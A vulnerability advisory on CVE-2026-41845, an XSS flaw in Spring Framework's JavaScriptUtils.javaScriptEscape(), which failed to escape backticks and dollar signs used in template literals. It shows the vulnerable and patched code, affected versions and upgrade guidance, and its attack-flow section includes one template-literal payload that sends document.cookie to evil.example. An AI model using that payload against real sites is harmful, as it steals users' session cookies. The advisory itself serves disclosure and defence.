Introduction
An incomplete escaping function in Spring Framework has left a significant portion of the Java web ecosystem exposed to cross-site scripting attacks through a vector that has been available since ES6 became mainstream: JavaScript template literals. CVE-2026-41845, carrying a CVSS score of 7.1 (HIGH), affects the JavaScriptUtils.javaScriptEscape() utility method across four major Spring Framework version branches spanning years of releases, and the fix comes down to two characters the method never thought to escape.
With roughly 60% of the Java ecosystem relying on Spring for their main applications and Spring Boot appearing in approximately 14.7% of all web framework usage according to the 2025 Stack Overflow Developer Survey, the blast radius of this vulnerability is substantial. Making matters more complex, over 27% of Spring Boot users remain on version 2.7 (which maps to the already end-of-life Spring Framework 5.3.x branch), meaning a large segment of affected deployments cannot obtain patches through the open source channel.
Technical Information
The Vulnerable Component
The vulnerability lives in JavaScriptUtils, a utility class in the org.springframework.web.util package of the Spring Web module. This class has existed since Spring Framework version 1.1.1 and is described in its Javadoc as a "Utility class for JavaScript escaping" that operates "based on the JavaScript 1.5 recommendation," referencing the Mozilla Developer Network JavaScript Guide.
The class exposes a single public method: public static String javaScriptEscape(String input), which processes an input string and escapes characters that have special meaning in JavaScript. According to the source code, the method's escaping chain handles: backslash (\), single quote ('), double quote ("), forward slash (/), newline (\n), carriage return (\r), tab (\t), form feed (\f), and Unicode line/paragraph separators (\u2028, \u2029).
Root Cause: Missing Template Literal Character Escaping
The critical gap is that the method did not escape two characters that became syntactically significant with the introduction of ES6/ES2015 template literals: the backtick (`, U+0060) and the dollar sign ($, U+0024).
Template literals in JavaScript use backticks as delimiters (`...`) and ${...} for embedded expressions that the JavaScript engine evaluates at runtime. Because javaScriptEscape() was designed around the JavaScript 1.5 specification (which predates ES6 by over a decade), these characters were never added to the escaping chain.
Here is the vulnerable code path from the v7.0.7 tag:
// v7.0.7 (VULNERABLE) — the else-if chain ends here: else if (c == '\u2029') { filtered.append("\\u2029"); } else { filtered.append(c); // backtick and $ pass through unescaped! }
Any backtick or dollar sign in user input passes straight through to the output, completely unmodified.
Attack Flow
The exploitation path follows a straightforward XSS pattern:
-
Identify a target endpoint: The attacker locates a Spring MVC or Spring WebFlux endpoint that takes user input and embeds it into an inline JavaScript block on a rendered page, using
JavaScriptUtils.javaScriptEscape()(or the<spring:escapeBody>JSP tag, which delegates to it) for sanitization. -
Craft a template literal payload: The attacker constructs input containing backticks and
${...}expression syntax. For example, an input like:`${document.location='https://evil.example/steal?c='+document.cookie}`This payload would pass through
javaScriptEscape()completely untouched because neither the backtick nor the dollar sign was on the list of escaped characters. -
Deliver the payload: The attacker delivers the crafted URL or form submission to a victim (reflecting the UI:R requirement in the CVSS vector). This could be via a phishing link, a malicious redirect, or stored input that other users view.
-
Browser execution: When the victim's browser renders the page, the unescaped backtick breaks out of whatever string context the application intended, opens a template literal, and the
${...}expression is evaluated by the JavaScript engine. The attacker achieves arbitrary JavaScript execution in the victim's browser session.
The CVSS v3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N reflects this attack profile:
| CVSS Component | Value | Meaning |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely over the network |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed |
| User Interaction (UI) | Required | Victim must access a crafted page or link |
| Scope (S) | Unchanged | Impact limited to the vulnerable component |
| Confidentiality (C) | High | Complete information disclosure possible |
| Integrity (I) | Low | Limited modification of data possible |
| Availability (A) | None | No direct availability impact |
The confidentiality impact is rated High because a successful XSS attack can access session tokens, cookies, and sensitive page content within the victim's browser session. The integrity impact is Low because while the attacker can modify the rendered page, they cannot directly alter server side data without additional exploitation chaining.
Historical Context: A Recurring Pattern
This is not the first time JavaScriptUtils.javaScriptEscape() has had escaping deficiencies. GitHub issue #6451, filed in 2006, documented that the method failed to escape the </script> tag sequence, allowing attackers to break out of inline script blocks. The reporter demonstrated that browsers parse the </script> tag even when it appears inside a JavaScript string literal. That earlier issue was eventually addressed, but CVE-2026-41845 represents the same class of problem: the escaping logic was designed for an older JavaScript specification and did not account for newer language features that introduced additional syntactically significant characters.
The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting). As MITRE notes, "some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user's system."
Patch Information
The Spring team released patched versions on June 8, 2026, one day before the CVE publication, addressing the incomplete escaping in JavaScriptUtils.javaScriptEscape(). The fix is available in the following releases:
| Affected Branch | Fix Version | Availability |
|---|---|---|
| 7.0.x | 7.0.8 | OSS |
| 7.0.x | 7.0.7.1 | Commercial |
| 6.2.x | 6.2.19 | OSS |
| 6.2.x | 6.2.18.1 | Commercial |
| 6.1.x | 6.1.28 | Commercial only |
| 5.3.x | 5.3.49 | Commercial only |
By comparing the source code of JavaScriptUtils.java between the vulnerable tag v7.0.7 and the patched tag v7.0.8, the exact change is clear. The patch adds escaping for two previously unhandled characters at the end of the character checking chain:
// v7.0.8 (PATCHED) — two new branches are inserted before the default case: else if (c == '\u2029') { filtered.append("\\u2029"); } else if (c == '`') { filtered.append("\\u0060"); } else if (c == '$') { filtered.append("\\u0024"); } else { filtered.append(c); }
The backtick is now converted to \u0060 and the dollar sign to \u0024, rendering both characters inert in any JavaScript string or HTML script context. These Unicode escape sequences are interpreted as literal characters by the JavaScript engine rather than as template literal syntax.
The patch also adds @author Sebastien Deleuze to the class, identifying the contributor of this fix.
For organizations on the 6.1.x and 5.3.x branches, open source patches are not available because these branches have exited community support. Fixes are only accessible through commercial/enterprise support subscriptions. The Spring advisory explicitly states that "No further mitigation steps are necessary" beyond upgrading; there are no configuration level workarounds.
Upgrade Prioritization
Given that 52.05% of Spring Boot users operate on version 3.5 (which exits community support on June 30, 2026) and 27.40% remain on Spring Boot 2.7 (already end of life), organizations should:
- Immediately upgrade all Spring Framework 7.0.x instances to 7.0.8 and 6.2.x instances to 6.2.19.
- Obtain commercial support or plan migration for 6.1.x and 5.3.x deployments.
- Conduct a version inventory audit to identify all Spring Framework instances across the environment.
Affected Systems and Versions
The following Spring Framework versions are confirmed vulnerable:
| Branch | Affected Version Range |
|---|---|
| 7.0.x | 7.0.0 through 7.0.7 |
| 6.2.x | 6.2.0 through 6.2.18 |
| 6.1.x | 6.1.0 through 6.1.27 |
| 5.3.x | 5.3.0 through 5.3.48 |
Any application that uses JavaScriptUtils.javaScriptEscape() directly, or indirectly through Spring's JSP tag library (e.g., <spring:escapeBody javaScriptEscape="true">), to sanitize user controlled input before embedding it in JavaScript contexts is potentially vulnerable. This includes both Spring MVC and Spring WebFlux applications.
The JavaScriptUtils class resides in the spring-web module (org.springframework.web.util package), so the vulnerability is specific to applications that include this module as a dependency.
Vendor Security History
The Spring team maintains a public security advisories page listing all disclosed vulnerabilities. The recurrence of escaping flaws in JavaScriptUtils.javaScriptEscape() is notable: the 2006 GitHub issue #6451 documented a failure to escape </script> sequences, and CVE-2026-41845 represents a new instance of the same class of deficiency, this time involving ES6 template literal syntax. This 20 year history of escaping problems in a single utility class raises questions about whether a more comprehensive redesign of the escaping logic (rather than incremental point fixes) may be warranted.
Historical XSS related CVEs in Spring Framework include:
- CVE-2013-6430: Possible XSS when using Spring MVC
- CVE-2014-1904: XSS when using Spring MVC
Other notable 2026 Spring security advisories include:
- CVE-2026-40976: Spring Boot default web security bypass allowing unauthorized access to all endpoints
- CVE-2026-40977: PID file write follows symlinks, enabling local corruption
- CVE-2026-22732: Under some conditions, Spring Security HTTP caching headers are ineffective
CVE-2026-41845 was discovered internally by the Spring team rather than by external researchers, which suggests their internal security review processes are functioning. The Spring team provides both open source and commercial patch channels, with the dual model meaning organizations on older, unsupported versions without commercial contracts face a gap in available security fixes.
References
- CVE-2026-41845: Spring Framework Cross-site Scripting via JavaScriptUtils (Official Advisory)
- Spring Framework 7.0.8 and 6.2.19 Available Now
- CVE-2026-41845 on CVEFeed.io
- NVD (National Vulnerability Database)
- JavaScriptUtils.java Source (v7.0.8, Patched)
- JavaScriptUtils.java Source (v7.0.7, Vulnerable)
- JavaScriptUtils.java on GitHub (master branch)
- JavaScriptUtils Javadoc (Spring Framework 7.0.6 API)
- GitHub Issue #6451: javaScriptEscape doesn't escape script tag
- CWE-79: Improper Neutralization of Input During Web Page Generation
- Spring Security Advisories
- CISA Known Exploited Vulnerabilities Catalog
- Spring Dominates the Java Ecosystem (Snyk)
- Java Ecosystem Trends and Challenges (OpenLogic)



